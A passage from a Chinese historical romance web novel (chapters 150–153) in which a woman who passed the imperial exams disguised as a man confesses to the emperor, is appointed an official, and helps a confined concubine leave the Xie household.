如今她行事愈发随性,时常语出惊人,有些话有些事纵是男子也说不出做不出。 谢漼偶尔想起以前,心下感慨,以前那般易羞,如今怎就成了荤素不忌的性子了呢? 谢漼抬手,用指腹轻轻触着寻真的脸颊。 晚上,寻真想起一事,忽然对谢漼说:“我收到你的信了,不过还没来得及看,就发生了那事……你那封信里写了什么?” 谢漼自然知道她说的是哪封信,垂眸凝视着她,眸色深沉,道:“不过是报与你归期。” 那她猜得没错了。 寻真又问:“还有别的吗?” 还有…… 谢漼默了片刻,拇指抚过她的面颊,没有回答。 寻真感觉谢漼的情绪有些不对劲,支起上身,手肘撑着床,另一 只手按住谢漼的肩,倾身吻了吻他的唇。 “怎么了?” 谢漼的眼底闪过几丝落寞。 “怎么突然不说话了?” 寻真捧住他的脸,轻轻啄着他的脸,从唇往上,吻到眼睛,问道:“快说,在想什么呢?” 谢漼注视她许久,道:“真儿,你赠我的那块玉,我不慎摔碎了……” 寻真立马说:“知道了,我再送你块新的,我亲手做,定比上一块要做的好!” 谢漼眉间紧绷的纹路被抚平了,嗯了一声。 寻真隐隐感觉他还有心事,问他:“还有吗?” 谢漼:“……嗯?” 寻真凑到他耳边,亲亲他耳垂,小声问:“你还有什么事没告诉我?快说,快说。” 谢漼搂紧了她,与她面对面,鼻尖蹭着,轻唤她:“真儿。” 寻真:“嗯。” 谢漼:“你我在偃师的那家客栈,遇过。” 偃师?客栈? 寻真想了一会儿,谢漼该不会说的是那家荒郊野路上的客栈吧? 不应该啊? 他没可能知道吧? 寻真:“啊?” 谢漼眸色幽邃,喉结上下滚动了两下,嗓音微哑,道:“真儿还想瞒我?” 寻真咬了咬唇,坦白道:“嗯,是碰见了……你如何得知?” 谢漼:“陈安与我说的。” 寻真:“承安?” 然后谢漼便跟她讲了,承安脱奴籍后改名陈安,又恰好与她参加同一届科考,中了三甲同进士,后来陈安在刑部任职,整理卷宗时,看到了昆山县的一桩死刑案件,因那字迹起了疑,于是,他便动身去苏州亲自查探,途径那家客栈,店小二瞧见了她的画像,认出了她…… 寻真心想,这店小二记性也太好了,六年了都还记得! 寻真整理着思绪,道:“所以,那日你来昆山县,不是来找潘竞的?” 谢漼颔首:“自是为见你。” 那时,潘竞还跟她说:缮之与我自幼相交,情谊深厚,你瞧他,一到任就来找我了,以后有缮之罩着,什么都不怕了。 寻真想了想,迟疑了下,还是开口问谢漼:“你……怨我吗?” 第150章 第150章“面圣” “我只怨自己。” 谢漼凝视着寻真,眸光沉沉,缓缓道:“让你不敢再入我怀。” 寻真和谢漼要去京都,不便带着甄恒,于是把甄恒送到昆山县,托付给甄凌照料。 甄恒现在有一米八了,在寻真的督促下,他每日坚持锻炼,臂膀结实有力。只是性子依旧天真,声线也还不稳定。 偶尔会用沙哑的嗓音向寻真撒娇,配上他噘嘴的模样,让寻真忍不住想,果然还是个子矮时更可爱,现在看着这么大一只撒娇,有点别扭。 但寻真没纠正他,这样无忧无虑、快快乐乐的,也挺好。 二人坐马车入城门,寻真透过车窗望着街道,东都城还是这么热闹。 寻真暂时落脚在客栈,谢漼坐在房中,道:“你好好休息,二日后,我来接你。” 来了京都,为免生事端,二人不得不分开住。 寻真有些不舍,握着他一只手,一根一根捏他的指尖,来回摩挲,而后将下巴搁在他肩上,道:“我会想你的,漼漼。” 谢漼暗暗叹了一口气,不过分离两日,便心绪烦乱,如坠铅石。 好在,若此次顺利,往后便能与真儿光明正大相守了。 谢漼:“我已着永望住在你邻室,若有事,令他来寻我。” 寻真:“好。” 谢漼在她额间印下一吻,起身。 寻真也站起来,朝他挥了挥手。 谢漼垂眸注视她,没动。 寻真的眼弯起,笑道:“要不要来个Kissgoodbye?” 谢漼:“何意?” 谢漼虽不解此语含义,却对这发音印象颇深,上回她未说完,便被他堵住了唇。 这回再听,这奇特的语调倒像是从番邦传来的俚语。 寻真踮起脚,右手勾住他的脖子,往下压,吻了吻他的唇,而后面贴面,热息若有似无地喷到他脸上。 “吻别。” 谢漼的嗓音带着一丝喑哑:“原来是此意。” 低头,吮住她的唇瓣。 舌尖抵入,辗转、纠缠。 谢漼喜欢深吻,吻着吻着便掌握主导权,见寻真仰着头吃力,大手一揽,坐下,将她摁到怀里,托着后脑亲。 如今,谢漼的吻技越来越好了,舌头灵活得很,总让寻真跟不上节奏,乱了呼吸。 寻真没气了,拍拍谢漼的肩示意。 谢漼停了下来。 寻真靠在谢漼的胸前,大口地呼吸。 谢漼轻轻抚着她的后背,脚似生了根,不想走了。 谢漼:“不如,我今晚还是留下来陪你……” 寻真:“会不会不妥?” 谢漼:“小心些,应无大碍。” 寻真:“好。” 然而,两人温存未久,便响起敲门声。 是永望。 永望低声对谢漼道:“二爷来了。” 谢漼无奈,只能离开,吻了吻寻真,起身回朱雀门的宅子。 谢彦成坐在正堂中,品茶,见谢漼走入,起身,唤道:“缮之。” 谢漼站定,行礼道:“二伯。” 谢彦成上下打量着谢漼,唇边难掩笑意,虽早知侄儿优秀,还是忍不住感慨,升得真是快啊。 此番回京,若不出意外,侄儿便能升至与他同级,照这样下去,很快便能拜相了啊。 谢彦成看着自家侄儿,眼中满是嘉许,捋了捋胡须,问道:“何时面见圣上?” 谢漼道:“二日后。” 叔侄二人先是谈论政事,随后又聊起家常。 交谈间,谢彦成突然想起一事,话到嘴边又咽下。 四年前,谢漼赴苏州刺史任时,谢彦成见过恒哥儿,那时瞧着并无恙色,康健得很,怎会突然夭折? 侄儿信中说苏州蝗祸严重,丧事只得从简。 按祖制,恒哥儿应归葬祖坟,怎能埋在异乡? 可自从柳氏亡故,他与侄儿之间生了嫌隙。以前侄儿就是个有主意的,现在官越做越大,更不必说,便也只能随他去了。 谢彦成心想,侄儿失独,心中必定悲痛,还是不要提及此事,免得徒增伤悲。 又想到侄儿至今鳏居,都有十年了吧。 既不娶妻,又没了子嗣,这岂不是要……断子绝孙了? 可现在谢彦成做不了谢漼的主,也只能心中想想,暗暗叹一口气。 聊完家常,谢彦成起身离开。走到正堂门口,他似是突然想起什么,问道:“你衙里,可有个姓甄的参军?名唤……甄善美?” 谢漼神色微滞,转瞬恢复如常,颔首,淡声道:“二伯怎突然问起她?” 谢彦成:“东都近来盛传,此人极有才干,邕、容二州百姓竟为他建生祠,这等奇闻,可是真的?” 谢漼:“确有其事。 ” 谢彦成:“此番他可随你入京了?” 谢漼:“圣上宣召,两日后便同我入宫面圣。” 谢彦成叹道:“此子前途不可限量。等他面圣之后,务必让他来府上坐坐。这般百年难遇的贤才,我早想见见了。” 谢漼微微颔首。 谢彦成刚要迈步,突然察觉异样,重新打量起谢漼。 方才交谈时便觉得哪里不对,因许久未见,只顾着说话便忽略了。 此刻仔细一看,便发现了。 谢彦成的视线凝在谢漼脸上—— 侄儿的气色怎比四年前好了这么多? 整个人容光焕发,老树回春。 不像四年前那般形容枯槁,垂垂欲死的模样。 谢彦成暂时将疑惑按在心底,没有问出口。 二日后,寻真跟着谢漼一起进太极宫。 皇帝在紫宸殿接见了两人。 紫宸殿内宏伟壮丽,金色琉璃瓦熠熠闪光,墙体、立柱都是朱红色,庄严肃穆,熏炉中飘出龙涎香的气息,清幽绵长。 寻真一进殿,便紧张起来,心跳也加快了。 寻真跟着谢漼行礼。 皇帝从案几后走来,抬手虚扶:“二位爱卿请坐。” 二人在旁侧椅子落座,太监上了茶。 皇帝先与谢漼论政,寻真坐得笔直,认真听着,抽空瞄了眼皇帝。 这会儿只隔着几步距离,便能看清皇帝的长相了。 乍一看,是个面善的小老头。 皇帝长了张大众脸,虽眉眼间隐隐透着帝王威严,却让寻真莫名有些亲切。 寻真渐渐不紧张了。 寻真多看了几眼,皇帝注意到,视线转向她,唤道:“这便是竞舟?” 皇帝早已看过寻真的履历,自然知晓她的表字。 寻真心头一紧:“是。” 皇帝:“闻卿是天启二十年进士?” 寻真:“是。” 皇帝叹道:“当初竟未能留意到竞舟,早知你有这般大才,定当点你为状元。” 寻真悄悄看向谢漼,不确定这算不算合适的时机。 余光瞥见谢漼放在膝头的手指轻轻点动,寻真便立刻起身,跪下,道:“陛下,臣有罪。” 皇帝道:“你何罪之有?” 寻真伏在冰凉的地上,叩首,道:“陛下,臣实为女子,且出身贱籍。” “泗州洪患重造黄籍之时,臣冒名男子,私入科场。” “欺君罔上,罪该万死。” 皇帝震惊,这番话信息量太大,贱籍、女子、科举中官。 这般离奇的情节,民间写传奇的都不会这般瞎编。 一时间竟怀疑眼前人在欺骗自己。 皇帝:“甄卿,你先起来。” 听着皇帝平静的语气,寻真有些诧异,会不会太平静了? 她直起身子,仍跪着,迎上皇帝的目光。 皇帝摆手,示意她坐下:“起来吧。” 随后上下打量着她,语气带着几分怀疑,问道:“竞舟,你当真为女子?莫不是诓朕?” 寻真神色郑重,道:“臣岂敢再欺瞒陛下?臣为女子,千真万确。” 皇帝思索间,谢漼上前,行跪礼,道:“陛下,臣亦有罪。” “竞舟原是臣后院之人,后因故离府。而后,臣明知她的真实身份,却帮她隐瞒,同样犯下欺君之罪,请陛下惩处。” 皇帝这次愣得更久了,好一会儿才回过神,亲自上前扶起谢漼,道:“缮之快起。” 正色道:“你二人究竟是何情况?速速讲来。” 谢漼言辞清朗流畅,寥寥数语,便将他与寻真相识相知的过往道来,桩桩件件,皆如实禀明。连甄恒假死、改换甄姓这事也说了。 皇帝听完,看看谢漼,又看看寻真,叹道:“世上竟有这般奇女子?” 又叹:“你二人这般纯粹真情,倒真是世间难得啊!” 皇帝感慨过后,问寻真:“甄卿,你是如何躲过科举搜身?” 寻真便将自己练胸肌、捏假鸡的事都告诉皇帝了。 皇帝闻言,放声大笑,爽朗的笑声在宫殿中久久回荡。 寻真和谢漼并肩走出承天门。 寻真仰头望向天空,明亮的阳光让她微微眯起眼睛,随后长长舒了一口气。一直以来,压在心头的危机终于消散了。 寻真感到前所未有的轻松。 二人并肩走在朱雀大街上,街道上人声鼎沸,车水马龙。 渐渐地,两人的手牵在一起。 两人的掌心都微微潮湿。 路边行人看到两位男子当街牵手,偶有好奇目光投来。大周朝民风开放,断袖之事并不罕见,行人不过稍作打量,便移开视线。 谢漼的脸上浮现笑容,侧头看向寻真,将她的手又握紧几分。 从今往后,终于能这般与她牵手,正大光明地站在人前。【魔蝎小说 mo xie xs .c om】 150-157 第151章 第151章“哗然” 谢漼带着寻真到朱雀门的宅子。 门前坐着两个小厮,见人走近,看清了,忙起身,唤了声“爷”,视线掠过寻真时,猛然一惊,互相对视一眼,眼睛瞪大,难以置信。 寻真瞧着他们活见鬼般的表情,忍俊不禁,唤他们:“瑞宝、康顺。” 两人呆若木鸡,直到谢漼与寻真进了宅子,仍怔在原地回不过神。 方才那个是姨娘? 如今圣上都知道了,再无隐瞒必要,永望将实情告知二人,惊得他们目瞪口呆。 姨娘没死,还考科举做了官。 市井间盛传的“善美大老爷”竟然就是姨娘? 寻真环顾四周,目光扫过庭院里葱郁的花草树木,问道:“漼漼,你现在不住谢府了?” 谢漼:“嗯。” 寻真:“这里挺好的欸,院子宽敞,离集市又近,平日我们要逛街也方便。” 谢漼:“这便是先前我赠你的宅子。” 寻真笑道:“那这里不就是我的房子了?” 谢漼颔首:“自然是你的。” 早上面圣,让寻真耗尽心力。 昨晚,因对未知的恐惧,寻真做了一夜被皇帝砍头的梦,好在有惊无险,皇帝是个好人。 寻真用完午膳,紧绷的神经彻底松懈,大睡一觉。 今日,潘竞回京了。 前年抗蝗,昆山县的治绩为诸县之冠,加之“善美稻”也发源于此,潘竞又恰逢三年任期届满,晋升本是板上钉钉之事。 可他却主动申请留任了。 只因得罪了世子,潘竞已有十年未见过家人了。 这次是收到家中密信,信中只写了两个字——可归。 这些年与父母只能靠书信往来,潘竞也想他们了,便即刻启程返京。 一到京,便听说了一事。 萧敬旸死了! 年初,有人击鼓鸣冤,状告他强抢民女,致使他家女儿投湖自尽,随后又有多位百姓站出来控诉。 皇帝彻查后,削去其爵位,贬为庶人。 失势后的萧敬旸幽居别院,家中给他送了不少美人。他整日沉迷酒色,不料竟因纵欲过度,得了马上风,暴毙。 此事很快传开,百姓无不拍手称快。 潘竞回到家中,潘竞母亲高氏拉着他上下打量,眼眶瞬间泛红,哽咽道:“瘦了,黑了。” 潘竞:“您倒是越长越年轻了。” 高氏:“就会贫嘴。” 当年潘竞与世子起冲突,得罪了郡王,好人家的姑娘不愿嫁他。稍差些的,又听说潘竞要去边境任职,自然不愿意跟着一起去吃苦,便也作罢。条件再差的,高氏就看不上了。 潘竞的婚事便一直耽搁至今。 高氏育有二子一女,如今小儿子和女儿都已成家,孙辈都满地跑了。 唯独大儿子的婚事成了她的心病。 高氏刚一叹气,潘竞便知她要说什么,随便寻了个理由。 “对了,我与谢五郎约好了,一会儿得去找他。” 高氏忙拉住潘竞的手臂,生怕他跑了,道:“你莫不是外头也有个相好的,学那五郎胡闹?” 潘竞:“哪有的事!娘,你别瞎猜。” 高氏:“你这几日老实在家中待着,别整日往外跑!我寻了几家好姑娘,你抽空去见见,有中意的就赶紧定下来!” 潘竞:“娘,你忘了?我是告假归省,过不了几日便要回苏州了。” 高氏:“看姑娘还能费多少时辰?一日就能说定!怎会误了归期?再请人算个好日子,其他事娘都给你办得妥妥当当,等日子到了,你回来拜堂成亲,完婚后,带起你媳妇一块儿走!” 潘竞心道,看来得早点走,再待下去可就麻烦了。 潘竞点点头,含糊应了两声。 高氏瞧着他吊儿郎当的模样,忍不住道:“你如今几岁了可还晓得?” 潘竞:“知道知道。我现在可以走了吧?” 高氏上下瞅瞅潘竞,忽然冒出一个骇人的念头,问道:“你告诉娘,你莫不是……莫不是……”想想又觉得荒唐,她这儿子瞧着便是轩昂丈夫,喜欢男人,应是不可能的。 潘竞:“啊?” 高氏摆摆手:“去吧。” 寻真一觉醒来,窗外阳光正好。 睡足了,神清气爽。寻真伸展着胳膊出房门,去找谢漼,一路往书房走去。 一边走,一边欣赏廊边景致。 快到书房时,她便开始唤:“漼漼,漼 漼……” 往常谢漼都会应她,这次却没动静。 寻真的脚步加快了些,推门而入。 “漼漼,你干——” 话音戛然而止。 书房里除了谢漼,还有一人——潘竞。 寻真与潘竞四目相对,皆是一脸惊愕。 潘竞刚刚正与谢漼交谈,突然听到这般亲昵的呼唤,心中还纳闷,缮之何时有女人了?他不是一直对那已故小妾念念不忘吗? 而且这声音莫名有些熟悉。 待看到寻真的面容,他整个人都僵住了。 寻真尴尬不已。 瞅了眼谢漼,用眼神表示:潘竞要来,你怎么不跟我说? 以前在谢漼的住处,若有人来访,谢漼都会知会她一声,她便待在屋里,不出来。 见潘竞完全呆住,寻真干笑了两声,道:“……子尚,此事说来话长。”又看向谢漼,“漼……缮之,要不你来说?” 谢漼道:“子尚,竞舟实为女子,从前与我便是旧识。如今圣上已知实情,不日便会昭告天下。” 潘竞呆滞地看看谢漼,又看看立在门边的寻真。 寻真摸摸鼻子。 潘竞算是她和谢漼共同的朋友。寻真跟潘竞一同爬过山、吃烧烤、喝酒谈天,以前在昆山县上值,潘竞也很关照她,想想还是道:“子尚,我也是迫不得已才如此……你可恼我骗你?” 潘竞艰难地咽了咽口水,许久才从震惊中缓过神来,问道:“所以,那小子是你跟缮之的孩子?” 寻真有些惊讶,点头:“嗯。” 潘竞恍然,难怪总觉得那孩子看着眼熟。 如今细想,那眉眼果真是像极了谢漼。 潘竞又看了眼寻真,以前就觉得她与缮之那妾室长得像,后又留意到她的字也与缮之颇为相似。潘竞都归为巧合。 与寻真相处久了,潘竞从未对她的男子身份有过半点怀疑。 如今知道她是女子后,再看,潘竞的感觉就完全不一样了…… 潘竞离开时,仍神情恍惚,仿佛还在怀疑人生。 寻真道:“漼漼,你怎么也不告诉我一声潘竞来了?害得我都没心理准备。” 谢漼道:“如今我们无须再避任何人了。” 早朝间,圣上宣谕,苏州刺史谢漼擢吏部尚书。 底下官员虽有些惊讶,但还算平静,只是暗暗感慨谢漼升迁之快。 直至皇帝宣布下一条。 “朕闻天道无私,贤才无类。” “泗州甄善美,女身着冠,虽犯典律,然其治苏州水利,亲勘河道,督建堤坝三十里,更研育嘉禾,使苏州岁稔,泽被苍生,诚为股肱之器。” “朕察其功过,功大于过,且当今之世,亟需能臣干吏。” “特授尚书台屯田郎,掌司农重务,赐金鱼袋。” “望卿恪尽职守,勿负朝廷重托!” 此言一出,众官员哗然。 寻真在所有人的注视下,跪地叩谢圣恩。 几位守旧派大臣立刻站出来反对,以“女子干政,有违祖制”为由,言辞相当激烈。 皇帝早就对这几个顽固大臣心生不满,此刻终于逮到机会,斥道,人家女子做了多少利民实事?邕、容二州百姓自发为她建生祠!若你们做的能有说的这般好听,朕何至于破格擢用女官? 皇帝批得那几位大臣面红耳赤,哑口无言。 后排的官员们纷纷伸长脖子,好奇地打量寻真。 交头接耳,窃窃私语。 朝堂上闹哄哄的。 “莫再聒噪!朕意已决。” “论才学,甄善美科举入仕,金榜题名。” “论德行功绩,更是无可指摘。” “若只因她是女子便不予重用,我大周朝岂不成了迂腐之地?” “既有大才,为何不用!” 前排的谢彦成同样震惊不已,女子为官,在本朝从未有过先例。 谢彦成看着寻真。 还隐隐觉得此人眉眼间似曾相识,凝神思索。 散朝后。 官员们一反常态,并未急着离开,而是在殿外聚集,议论纷纷。 所有人的目光都聚焦在自己身上,寻真浑身不自在。 她隔着人群与谢漼对视一眼,心想,今日够高调了,还是不要去找谢漼了。 正要抬脚离开,却见谢漼径直朝她走来。 谢漼走到她面前时,四周明显静了静。 寻真小声道:“你怎么过来了?” 谢漼还是那句话:“真儿,如今我们无需再避任何人。” 寻真跟谢漼并肩走着,只感觉后背要被目光扎穿了。 心想,从朝堂到宫门的这条道也太长了吧! 她真的承受不来啊。 谢漼却比她自在多了,道:“有圣上作保,真儿何必这般忧思?无须在意他人。” 谢漼垂眼,倒是很想牵起她的手,见她这般紧绷,最终还是作罢。 不远处,朝臣们议论声不断。 “我听说前几日谢漼和甄善美一同面圣,莫不是那时就向圣上坦白了她的女儿身?” “谢漼该不会早就知道她是女子?” “你瞧这二人站在一块,分明像是有私情!” “……不过这甄善美虽是女子,才学政绩却不输须眉,倒叫人佩服。” 谢彦成在一旁看着,越看越觉得眼熟。 脑海中突然浮现出多年前谢漼纳妾那日,柳氏与侄儿并肩踏入正厅的场景。 看着看着,甄善美的身形竟与记忆中的人重叠了。 这、这……柳氏没死? 第152章 第152章“沸腾” 皇帝竟破格立一女子为官。 那个育出神稻的甄善美竟是女子! 这消息如燎原之火传开,街头巷尾议论纷纷。不论茶馆酒肆,还是书场集市,处处都飘着“甄善美”这个名字。 “女子竟能当官了?” “真想亲眼见见甄善美啊……” 质疑声与惊叹声此起彼伏。 而那日,寻真和谢漼毫无避讳地并肩走出宫门,好事者悄悄尾随,竟见二人当街牵手,一路进了一处宅子,过了一整夜,两人都未出来。 后又有人从家仆口中套出了话—— 这甄善美,正是谢漼当年“惨死”的小妾! 更令人咋舌的是,她还出身贱籍! 要说谢家五郎这瓜老百姓都是吃过的,为妾休妻,打那以后再没续弦,鳏居至今。这般情种可是头一遭见,茶余饭后的谈资就没断过。 谁曾想,当年的那个薄命妾与如今圣上亲封的女官,竟是同一个人! 如今真相大白,众人更是沸腾。 不仅是女子,还是贱籍出身,却被圣上破格提拔为五品屯田郎,掌管天下田土,这般传奇若写进话本,怕是要被人喷死。 有人四处打听,得知了更多细节:甄善美借洪灾之机重新入籍为男子,读书考科举 ,还中了苏州府解元。但会试、殿试名次不高。 便又有人猜了,莫不是怕考得太好,过于显眼,被人发现女子身,便故意藏锋? 外面讨论得沸沸扬扬,寻真这几日不用上值,每日睡到自然醒,过得舒服自在。 一日,少府监的裁缝上门,为寻真量身,定制官服。 两个裁缝一边量尺寸,一边好奇打量这位轰动朝野的女官。 寻真张开手臂,坦然让她们瞧。 起初她还不习惯被人一直盯着看,现在却品出几分被瞩目的爽感。 后知后觉地想,她好似真的做成了一件很了不得的事? 为自己感到骄傲。 这次升迁,寻真从正八品下直接跃至从五品下,连跳十级。 五品以上,便要参加早朝了。不过早朝并非每日都有,根据皇帝安排而定。 因是皇帝钦点,流程推进极快,三日便过完了档案审核与文书交接,一周后官服便加急制成。 寻真穿上浅绯色的官服,腰佩金带,悬金鱼袋。 张开手臂,转了个圈,展示给谢漼看。 “漼漼,怎么样?” 谢漼:“这颜色很衬你。” 寻真:“你的官服呢,做好了没有?” 谢漼:“还未,先穿备用的。” 寻真:“拿来,我帮你穿!” 谢漼如今已是正三品官,终于能穿上紫袍了。 高品级官服制作工艺繁复,材质、绣工皆是上乘,定制耗时久,至少要一个月。因上任在即,他只能先穿备用官服,尺寸难免没那么合身。 寻真为谢漼扣上扣子,整体一瞧。 与他以前穿紫色常服的感觉完全不同。 这是象征权利的三品紫袍,华丽中透着庄重,威严自生。 “好看!” 寻真欣赏了一会,上前,将他的腰环住了,仰头瞧他,眼睛亮盈盈的:“漼漼,你穿紫真是太好看了!” 他眉间溢出笑来,拥住她。 两人抱了一会儿。 寻真忽然道:“我想去一趟谢府,你可以带我去吗?” 谢漼:“去谢府做什么?” 寻真:“我想去看看以前的院子,还有……我答应过别人一件事,该去践诺了。” 这日午后,寻真与谢漼并肩踏入谢府。 两人一进正门,仆人们的目光纷纷投来。 这些年府里新换不少下人,见了陌生面孔,纷纷好奇打量。 等两人走远,便有人问门子,那是谁? 门子道,那是五郎。 那人道:“哪个是五郎?” 门子指了指高的那个。 那人道:“旁边那位,莫非是甄善美?” 门子道:“看着像男子啊,应该不是吧?” 另一人又道:“人家能扮男装考科举、做官,这些年都没被发现,哪会轻易让人瞧出是女子?” 门口顿时议论纷纷,还有人提议跟上去一探究竟。 时隔十年再回谢府,寻真心中感慨万千。 寻真望着路边的一草一木。 这么些年,谢府倒是没怎么变过。 正走着,迎面走来一位华服美妇,身后跟着四个丫鬟。寻真下意识往边上让了让,却见那妇人直勾勾盯着她。二人目光相撞,寻真觉得眼熟,正思索时,美妇突然冲过来:“柳姐姐,柳姐姐!可是你?” 寻真一愣,目光上下扫了扫,最后定在她脸上,不确定的问道:“……念芙?” 念芙激动不已:“对!是我!” 寻真看向谢漼:“这是我好友,我想和她聊会儿,要不你先过去?” 谢漼颔首,往前去。 念芙瞥了眼谢漼的背影,挥退丫鬟:“你们先退下吧。” 丫鬟们应声:“是,夫人。” 念芙和寻真走向附近的亭子。 坐下后,寻真问道:“念芙,你如今成夫人了?” 念芙点头,笑道:“若不是柳姐姐你当初指点,我哪有今天的好日子过?” 寻真为念芙感到开心,道:“还是你自己有本事。” 尽管四爷院中的其他侍妾私下议论,说念芙不知用了什么龌龊手段,竟哄得四爷扶她为正妻,念芙却不以为意,不过是各凭本事罢了,她们就是嫉妒。 念芙叉起腰,总算可以显摆自己,得意地说:“柳姐姐,怎么样?” “你瞧我如今,可算出师了吧?” 寻真笑道:“是,你出师了。” 得到寻真认可,念芙掩唇笑了一会,道:“我听说柳姐姐还做了官,可是真的?” 寻真点了点头:“嗯。” 念芙眼睛都放光了:“柳姐姐,你竟这么厉害!” 寻真:“还好,还好。” 闲聊一阵后,寻真起身:“我还有事,改日再找你叙旧。” 念芙:“嗯!” 念芙目送着寻真远去,丫鬟们围上来,念芙说:“方才那位,就是圣上亲封的女官。” 丫鬟们惊呼出声。 一丫鬟道:“我还想呢,那人明明是男子,您却唤她姐姐,原来,竟是那位……” 寻真走着走着,忽然发现一个盲点。 念芙如今是四夫人,按礼法,谢漼岂不是要叫她……母亲? 清挽院快到了。 远远望去,院中那栋屋子焦黑一片,竟烧得这么严重,看来那两桶油的威力还是挺大的。 谢漼坐在榆树下的石凳上。 走进院门,两边的橘子树、石榴树郁郁葱葱,枝繁叶茂,果实挂满枝头。 寻真用衣摆兜着,摘了十几个,放在石桌上。 她又跑去屋后看西瓜地,如今只剩一片焦土,中间横卧着一根断裂的粗壮树枝。 寻真在谢漼对面坐下,剥橘子。 寻真给谢漼喂了一瓣橘子,道:“一会儿我们摘些果子带走吧?我好不容易种的树,都长这么大了,放在这里也没人吃,好可惜。” 谢漼吃完这一瓣橘子,提议道:“不如叫人把树移到我们院中?” 寻真点头:“好!” 看完院子,寻真便去找容楣了。 凭着记忆找到容楣的居所。 寻真刚到门口,就听里头飘出婉转戏声,如泣如诉,尾音袅袅如游丝,打着旋儿钻进耳中。 寻真驻足听了会儿,暗暗感叹,容楣姐姐的声音还是这么好听。 寻真叩了叩门,里头的声音停了下来,容楣走过来开门。 容楣还是过着被幽禁时差不多的日子,她拒绝了府上派来伺候的丫鬟,平日里除了仆人每日送饭,几乎无人造访。 容楣自然也不知道寻真的事。 见到寻真,容楣明显一愣。 寻真笑道:“容楣姐姐,是我呀!” 容楣喃喃道:“寻真……” 见她恍惚的样子,寻真忙解释道:“容楣姐姐,我没死,我不是鬼。” 容楣便低头看看,有影子,再抬起头来时,眼中有泪,道:“寻真……你没死。” 寻真:“嗯!” 进了院子,寻真望了望四周。 寻真当年帮容楣开垦的地上,长满了蔬菜,花花草草也都打理得很好,生机勃勃。看来这些年,容楣还是很积极地生活着。 一坐下,寻真就开门见山,问道:“容楣姐姐,你想不想离开谢府?” 容楣怔住了。 寻真继续道:“我能帮你离开谢府,容楣姐姐,你还想再唱戏吗?” 容楣注视她片刻,放在膝上的指尖竟克制不住地颤了起来,道:“我如今已四十三了,如何还能唱?” 寻真:“怎么就不能唱了?我方才在外头,都快听痴了,容楣姐姐的嗓子还是与以前一样,这般动听。” “容楣姐姐,你只需告诉我,想不想走?” 容楣迟疑了一下,道:“我自然想,只是……” 寻真站起来,拉住容楣的手,道:“跟我来。” 寻真自然是有备而来。 容楣的丈夫是谢家三爷,在大理寺任职,今日正好休沐在家。寻真牵着容楣,往三爷的院子走去,一路上,谢家的仆人们纷纷投来诧异的目光。 容楣这才注意到,寻真穿的是男装。 容楣不安地唤道:“寻真……” 寻真注意到容楣的紧张,扭头冲她一笑,道:“容楣姐姐,你莫怕,我现在发达了,有底气,咱们走得是正规路子。” 第153章 第153章“未眠” 谢三爷正与儿子在书房谈话,忽然有仆人叩门,呈上金鱼符。 金鱼符在本朝是三品以上官员才能持有的信物,谢三爷神色微惊,忙问仆人:“是哪位大人?” 那仆人脸色有些怪异:“小的也不知,只是……” 谢三爷:“怎了?” 仆人压低声音道:“那位大人带着楣姨娘来的。”仆人没敢说,两人是牵着手进门的。 此言一出,书房中的两人皆是一愣。 那日早朝,正逢十五。 按例,五品以下的京官,每月初一、十五都需上朝。在朝中,谢三爷看过寻真的容貌,后又听闻坊间传闻,知晓此女便是侄儿那个已故的妾室。 寻真官阶高于谢三爷,按理他该先行礼,可三爷却僵在原地,一时忘了反应。 寻真直接道:“三爷能否放容楣一条生路?” 谢义:“此话怎讲?” 寻真正要开口, 容楣轻轻拍了一下寻真的手臂,上前一步,直视谢义道:“妾愿自请离去,三爷,可否放我归家?” 谢义又是一愣,自容楣被幽禁后,他再未见过她。如今她依旧美丽,岁月未在她脸上留下明显的痕迹,那把让他爱极了的嗓子仍含着蜜似的甜。 谢义的目光在容楣脸上流连,只问:“你归哪个家?” 容楣没有回答。 寻真道:“天大地大,总有归处。留在谢府不过是虚度年华,还望你高抬贵手,莫再将人困在此处,白白蹉跎下去。” 容楣道:“正是。妾身如浮萍,何处不可安身?三爷,如今你我情分已断,留在谢府不过是熬日子罢了。妾只求自由。” “还请三爷放我自由。” 容楣说完这番压在心头数年的话,长长舒了一口气,浑身轻松。 原以为千难万难的话,说出口竟这般容易。 谢义凝视容楣许久,道:“你当真决意离开?” 容楣颔首。 谢义思忖许久,终命仆人取来纸笔,当场写下放妾书,递给容楣。 容楣接过,微微欠身,唇边浮现一抹笑,道:“多谢三爷。” 谢义:“若你后悔……” 容楣:“妾不会后悔。” 谢义点点头,又让仆人拿来一张单子,上头列着田庄铺面的契书,还有金银珠宝、绸缎布匹等物,作遣妾之资。 容楣却未接受,将放妾书折好藏进衣襟,转而对寻真说:“我们走吧。” 二人并肩离去。 寻真忽然听到低低的一声呼唤。 “姨娘……” 寻真回头,见不远处立着个青年,约莫二十七八岁。 寻真一眼认出,这是容楣的儿子。 这人完全继承了容楣的美貌。 形貌昳丽,眉目间透着几分阴柔。 寻真看了一眼容楣。 容楣的脚步只微微一顿,旋即,头也不回地往前走。 寻真便跟上了。 两人迎着仆人们的目光朝谢府大门走去。 寻真想想觉得可惜,还是忍不住问:“容楣姐姐,你为何不要那些财物?” “我既清白而来,自当清白而去。” 容楣笑起来,看向寻真,“日后还要劳烦妹妹照应了。” 寻真道:“自然!姐姐的未来,包我身上了!” 谢府另一处,两名丫鬟交头接耳地进了屋子。 屋内,老夫人半卧在床,眯着眼,昏昏沉沉。 “听说,方才甄善美来了,把楣姨娘带走了!” “甄善美……就是原来在咱们府上,给五公子做妾的那个?” “正是!可惜我来得晚,都没见过,也不知她生得什么模样……” “我也是,这般奇女子,倒真想见上一见……只是她为何要带楣姨娘走?楣姨娘不是有了十公子么,怎的还会离府?” “这我也没打听清楚……” 屋内传来微弱的呼唤。 丫鬟们忙噤声入内。 其中一丫鬟问道:“老夫人,您有什么吩咐?” 老夫人中风后,一直卧病在床,偶尔会被仆人们抱至椅中,带去院里晒晒太阳。 老夫人虽能说话,却含糊不清,丫鬟仔细辨认许久,才听出老夫人是在问,她们刚才在聊什么。 丫鬟便将寻真的事一五一十说了。 老夫人浑浊的眼睛泛起涟漪,恍惚想起初见寻真的那日。 对上那双眼睛,让老夫人瞬间想起了另一个人。 老夫人名唤吕淑宁。 吕淑宁待字闺中时,吕家在朝里也算排得上号,她是嫡长女,一次偶然,她对谢付一见倾心,执意要嫁。 父母虽有顾虑,可想着谢付家到底是名门旁支,只眼下没落了些,底子还在,便备下十里红妆,风风光光地将吕淑宁嫁了过去。 谢付也争气,一路升迁,官运亨通,很得圣上赏识。 起初夫妻相敬如宾,可等谢付外放归来,一切都变了。 